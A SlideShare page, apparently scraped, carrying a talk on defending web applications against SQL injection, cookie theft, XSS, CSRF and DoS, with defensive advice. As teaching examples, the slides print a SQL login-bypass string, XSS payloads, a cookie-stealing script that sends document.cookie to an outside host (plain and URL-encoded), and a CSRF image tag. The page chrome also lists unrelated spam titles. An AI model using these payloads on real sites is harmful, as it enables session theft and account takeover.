SlideShare uma empresa Scribd logo
1 de 29
Defending web applications from attacks Roberto Bicchierai http://roberto.open-lab.com rbicchierai@open-lab.com
“Web appsw.t.f.?” Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use) Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers) Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
	This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
Seems easy to say “security”… Classical branches: Hardware security Cryptography Identity
Cryptography Every single byte you send can be read. SSL does not guarantee 100% and slows down your apps. Sniffing requires knowledge, software, hardware and physical access to wires.
User identity Username/e-mail and password strength:  “p455w0rD.” better than “password” or “p” avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!) try to avoid dictionary ones (record number of attempts!) never store passwords on your db The newdictionary: why “qazwsxedc” isnot so strong? OpenIDis a suitable alternative for some web apps. Biometrics are NOT. Datibiometrici (difficilmenteusabili)
Did I miss something? My servers are in a fortress 3 firewall levels (and one dragon) I use 56 chars non-alpha pwd pwd expires every 10 days I use SSL 1024(128) bit encryption I hung blu velvet curtains to the windows
Your app sucks! Injection Cookies XSS CSRF The problem is in the application…
Injection: I don’t  need a password! Earth 2010: lotsofapplications are still open to the classicalsqlinjectionvulnerability: jsmith a’ or ‘a’=‘a “select  * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ” DON’T
Damned HTML… and your browsers 3 ingredients make web apps vulnerable: HTML was not for applications! But it is! (code injection is too easy) HTTP  uses cookies for handling sessions Javascript, that is ubiquitous in a page (and reads cookies) butmainly browsers
Remember me! Saltedcookies, saltedcookies! Usesalt and peppertohash login data. Do notmakethemreversible! md5(user.id+”hash”) md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
Protectcookies! lost cookies = session stolen, now I’m you! Hard to recover! Quite “easy” to prevent use HttpOnly cookies restrict cookie’s scope by setting host, path, expiry encrypt data saved on cookies
Injectionreloaded: aka XSS  JSP-ASP example: notes: <textarea name=“notes”><%=note%></textarea> your name: <input type=”text” value=“<%=yourName%>”> <%=yourName%> notes: </textarea><script>alert(“you stink!”)</script> your name: john “> <script>alert(“I can do everything!”)</script> thisis the basicsofXSS
XSS How I’llgetyourcookies: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
XSS: encodeuserinputs Do not think it’s easy: if (userInputs.contains(“<script>”)) 	killTheUser(); itdoesn’t work! http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e Do yourecognizethis? Itis the same script! Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
XSS: encodeuserinputs The safest solution? Limit user inputs to plain text  Html encode every single field http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt; Sweet dreams! This is always safe!
XSS: no plain text? so, pain test! Your app allows rich text inputs? Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead. ,[object Object]
Textile
BBCode
Wikipedia,[object Object]
XSS: test yourpages There are about 150 different XSS exploits! Test inputs using examples on http://ha.ckers.org/xss.html with different browsers and versions. Use XSSme plugin for FireFox.
Missionaccomplished. XSS destroyed!  Does the user exactly know what she is doing? Everytime? click here next target: Cross Site Request Forgery
CSRF: howdoesit work? John is authenticated on site A. e.g.: stoks.example.com John visit the site B reading news: hotStoksNews.goodboy.com B contains the CSRF attack to site A e.g.: <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”> John is now an happy owner  	of 1000 KRAK shares!
CSRF: protectyourapp There aren’t many solutions: Server-side Generated Tokens!
CSRF & Tokens: howto your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session  when the form request is received a hidden parameter is matched with the in-session one
CSRF & Tokens Cons: reloading a page (F5) will generate “invalid token error” if a page has different entry points token generation may be annoying Pros: safe safe safe
API: a newenemy? REST, JSON, XML API are not evil in themself, but: there is no “standard” authentication when used with JS clients this may reveal the user key you are exposing new ways for xss and csrf
DoS: Denialof Service DoS protocol level: nothing to do… use intelligent gateways/router DoS application level: try to monitor IPs,  manage a black-list (not useful for DDoS), kill suspect sessions Use session-less pages until authentication “DoS” and “Success” are similar, if you can endure an attack, you are ready to support  thousands of users.
Yourapprocks! use strong passwords keep data in safe place do not store user’s passwords salt and pepper everywhere use SSL use Httponly cookies encode user inputs or sanitize them use server-side tokens for critical actions expose a read-only API

Mais conteúdo relacionado

Mais procurados

Clickjacking DevCon2011
Clickjacking DevCon2011Clickjacking DevCon2011
Clickjacking DevCon2011
Krishna T
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
kosborn
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T
 
Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security Forgot
Jeremiah Grossman
 
Microdata semantic-extend
Microdata semantic-extendMicrodata semantic-extend
Microdata semantic-extend
Seek Tan
 

Mais procurados (20)

Clickjacking DevCon2011
Clickjacking DevCon2011Clickjacking DevCon2011
Clickjacking DevCon2011
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
4.Xss
4.Xss4.Xss
4.Xss
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
Things that go bump on the web - Web Application Security
Things that go bump on the web - Web Application SecurityThings that go bump on the web - Web Application Security
Things that go bump on the web - Web Application Security
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security Forgot
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
Phpnw security-20111009
Phpnw security-20111009Phpnw security-20111009
Phpnw security-20111009
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super Bait
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Microdata semantic-extend
Microdata semantic-extendMicrodata semantic-extend
Microdata semantic-extend
 

Destaque

Egypt
EgyptEgypt
Egypt
DJSA
 

Destaque (8)

Game Design for Product Ideas and UI Design
Game Design for Product Ideas and UI DesignGame Design for Product Ideas and UI Design
Game Design for Product Ideas and UI Design
 
Videogames Saving and Damning Players
Videogames Saving and Damning PlayersVideogames Saving and Damning Players
Videogames Saving and Damning Players
 
Impact of technology on narratives
Impact of technology on narrativesImpact of technology on narratives
Impact of technology on narratives
 
A Romantic Approach to Game Design
A Romantic Approach to Game DesignA Romantic Approach to Game Design
A Romantic Approach to Game Design
 
Game Design: from rules to craft
Game Design: from rules to craftGame Design: from rules to craft
Game Design: from rules to craft
 
How to Fail Kickstarter and Live Happily Ever After
How to Fail Kickstarter and Live Happily Ever AfterHow to Fail Kickstarter and Live Happily Ever After
How to Fail Kickstarter and Live Happily Ever After
 
Egypt
EgyptEgypt
Egypt
 
Playfied Storytelling
Playfied StorytellingPlayfied Storytelling
Playfied Storytelling
 

Semelhante a Roberto Bicchierai - Defending web applications from attacks

Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
levigross
 
Defcon9 Presentation2001
Defcon9 Presentation2001Defcon9 Presentation2001
Defcon9 Presentation2001
Miguel Ibarra
 
Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"
Jeremiah Grossman
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
 

Semelhante a Roberto Bicchierai - Defending web applications from attacks (20)

Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Top Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Net
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Defcon9 Presentation2001
Defcon9 Presentation2001Defcon9 Presentation2001
Defcon9 Presentation2001
 
Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Security
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Defending Against Attacks With Rails
Defending Against Attacks With RailsDefending Against Attacks With Rails
Defending Against Attacks With Rails
 

Mais de Pietro Polsinelli

Applied Game Design by Example
Applied Game Design by ExampleApplied Game Design by Example
Applied Game Design by Example
Pietro Polsinelli
 

Mais de Pietro Polsinelli (20)

Surviving Applied Games (2018)
Surviving Applied Games (2018)Surviving Applied Games (2018)
Surviving Applied Games (2018)
 
Designing An Applied Game For Your Museum - Workshop
Designing An Applied Game For Your Museum - WorkshopDesigning An Applied Game For Your Museum - Workshop
Designing An Applied Game For Your Museum - Workshop
 
Museums and Learning
Museums and LearningMuseums and Learning
Museums and Learning
 
The Perfect Fuckup Formula
The Perfect Fuckup FormulaThe Perfect Fuckup Formula
The Perfect Fuckup Formula
 
Applied And Persuasive Applications For Museums
Applied And Persuasive Applications For MuseumsApplied And Persuasive Applications For Museums
Applied And Persuasive Applications For Museums
 
Impossible mission: estimating (game) development
Impossible mission: estimating (game) developmentImpossible mission: estimating (game) development
Impossible mission: estimating (game) development
 
Engagement as playful learning
Engagement as playful learningEngagement as playful learning
Engagement as playful learning
 
(Mis)Understanding Applied Game Design: Vaccine!
(Mis)Understanding Applied Game Design: Vaccine!(Mis)Understanding Applied Game Design: Vaccine!
(Mis)Understanding Applied Game Design: Vaccine!
 
From Web to Game Development
From Web to Game DevelopmentFrom Web to Game Development
From Web to Game Development
 
A Short Workshop in Game Design
A Short Workshop in Game DesignA Short Workshop in Game Design
A Short Workshop in Game Design
 
Applied Game Design by Example
Applied Game Design by ExampleApplied Game Design by Example
Applied Game Design by Example
 
People in love at Games in Tuscany
People in love at Games in TuscanyPeople in love at Games in Tuscany
People in love at Games in Tuscany
 
From Gamification to Game Design
From Gamification to Game DesignFrom Gamification to Game Design
From Gamification to Game Design
 
People in Love: a game about urban design
People in Love: a game about urban designPeople in Love: a game about urban design
People in Love: a game about urban design
 
Development and storytelling: a many-to-many relationship
Development and storytelling: a many-to-many relationshipDevelopment and storytelling: a many-to-many relationship
Development and storytelling: a many-to-many relationship
 
Game Design for Storytellers
Game Design for StorytellersGame Design for Storytellers
Game Design for Storytellers
 
Gamify with SVG / Canvas over Facebook Open Graph
Gamify with SVG / Canvas over Facebook Open GraphGamify with SVG / Canvas over Facebook Open Graph
Gamify with SVG / Canvas over Facebook Open Graph
 
From HTML5 websites to HTML5 games
From HTML5 websites to HTML5 gamesFrom HTML5 websites to HTML5 games
From HTML5 websites to HTML5 games
 
Deterding on "Persuasive Design"
Deterding on "Persuasive Design"Deterding on "Persuasive Design"
Deterding on "Persuasive Design"
 
Engagement by Design
Engagement by DesignEngagement by Design
Engagement by Design
 

Último

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 

Último (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 

Roberto Bicchierai - Defending web applications from attacks

  • 1. Defending web applications from attacks Roberto Bicchierai http://roberto.open-lab.com rbicchierai@open-lab.com
  • 2. “Web appsw.t.f.?” Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use) Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers) Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
  • 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
  • 4. Seems easy to say “security”… Classical branches: Hardware security Cryptography Identity
  • 5. Cryptography Every single byte you send can be read. SSL does not guarantee 100% and slows down your apps. Sniffing requires knowledge, software, hardware and physical access to wires.
  • 6. User identity Username/e-mail and password strength: “p455w0rD.” better than “password” or “p” avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!) try to avoid dictionary ones (record number of attempts!) never store passwords on your db The newdictionary: why “qazwsxedc” isnot so strong? OpenIDis a suitable alternative for some web apps. Biometrics are NOT. Datibiometrici (difficilmenteusabili)
  • 7. Did I miss something? My servers are in a fortress 3 firewall levels (and one dragon) I use 56 chars non-alpha pwd pwd expires every 10 days I use SSL 1024(128) bit encryption I hung blu velvet curtains to the windows
  • 8. Your app sucks! Injection Cookies XSS CSRF The problem is in the application…
  • 9. Injection: I don’t need a password! Earth 2010: lotsofapplications are still open to the classicalsqlinjectionvulnerability: jsmith a’ or ‘a’=‘a “select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ” DON’T
  • 10. Damned HTML… and your browsers 3 ingredients make web apps vulnerable: HTML was not for applications! But it is! (code injection is too easy) HTTP uses cookies for handling sessions Javascript, that is ubiquitous in a page (and reads cookies) butmainly browsers
  • 11. Remember me! Saltedcookies, saltedcookies! Usesalt and peppertohash login data. Do notmakethemreversible! md5(user.id+”hash”) md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
  • 12. Protectcookies! lost cookies = session stolen, now I’m you! Hard to recover! Quite “easy” to prevent use HttpOnly cookies restrict cookie’s scope by setting host, path, expiry encrypt data saved on cookies
  • 13. Injectionreloaded: aka XSS JSP-ASP example: notes: <textarea name=“notes”><%=note%></textarea> your name: <input type=”text” value=“<%=yourName%>”> <%=yourName%> notes: </textarea><script>alert(“you stink!”)</script> your name: john “> <script>alert(“I can do everything!”)</script> thisis the basicsofXSS
  • 14. XSS How I’llgetyourcookies: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
  • 15. XSS: encodeuserinputs Do not think it’s easy: if (userInputs.contains(“<script>”)) killTheUser(); itdoesn’t work! http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e Do yourecognizethis? Itis the same script! Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
  • 16. XSS: encodeuserinputs The safest solution? Limit user inputs to plain text Html encode every single field http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt; Sweet dreams! This is always safe!
  • 17.
  • 20.
  • 21. XSS: test yourpages There are about 150 different XSS exploits! Test inputs using examples on http://ha.ckers.org/xss.html with different browsers and versions. Use XSSme plugin for FireFox.
  • 22. Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing? Everytime? click here next target: Cross Site Request Forgery
  • 23. CSRF: howdoesit work? John is authenticated on site A. e.g.: stoks.example.com John visit the site B reading news: hotStoksNews.goodboy.com B contains the CSRF attack to site A e.g.: <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”> John is now an happy owner of 1000 KRAK shares!
  • 24. CSRF: protectyourapp There aren’t many solutions: Server-side Generated Tokens!
  • 25. CSRF & Tokens: howto your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
  • 26. CSRF & Tokens Cons: reloading a page (F5) will generate “invalid token error” if a page has different entry points token generation may be annoying Pros: safe safe safe
  • 27. API: a newenemy? REST, JSON, XML API are not evil in themself, but: there is no “standard” authentication when used with JS clients this may reveal the user key you are exposing new ways for xss and csrf
  • 28. DoS: Denialof Service DoS protocol level: nothing to do… use intelligent gateways/router DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions Use session-less pages until authentication “DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
  • 29. Yourapprocks! use strong passwords keep data in safe place do not store user’s passwords salt and pepper everywhere use SSL use Httponly cookies encode user inputs or sanitize them use server-side tokens for critical actions expose a read-only API
  • 31. Thank you! Now: Q&A a startingpointwith a collectionof security relatedlinks: http://delicious.com/robicch/security my Java sanitizer: http://roberto.open-lab.com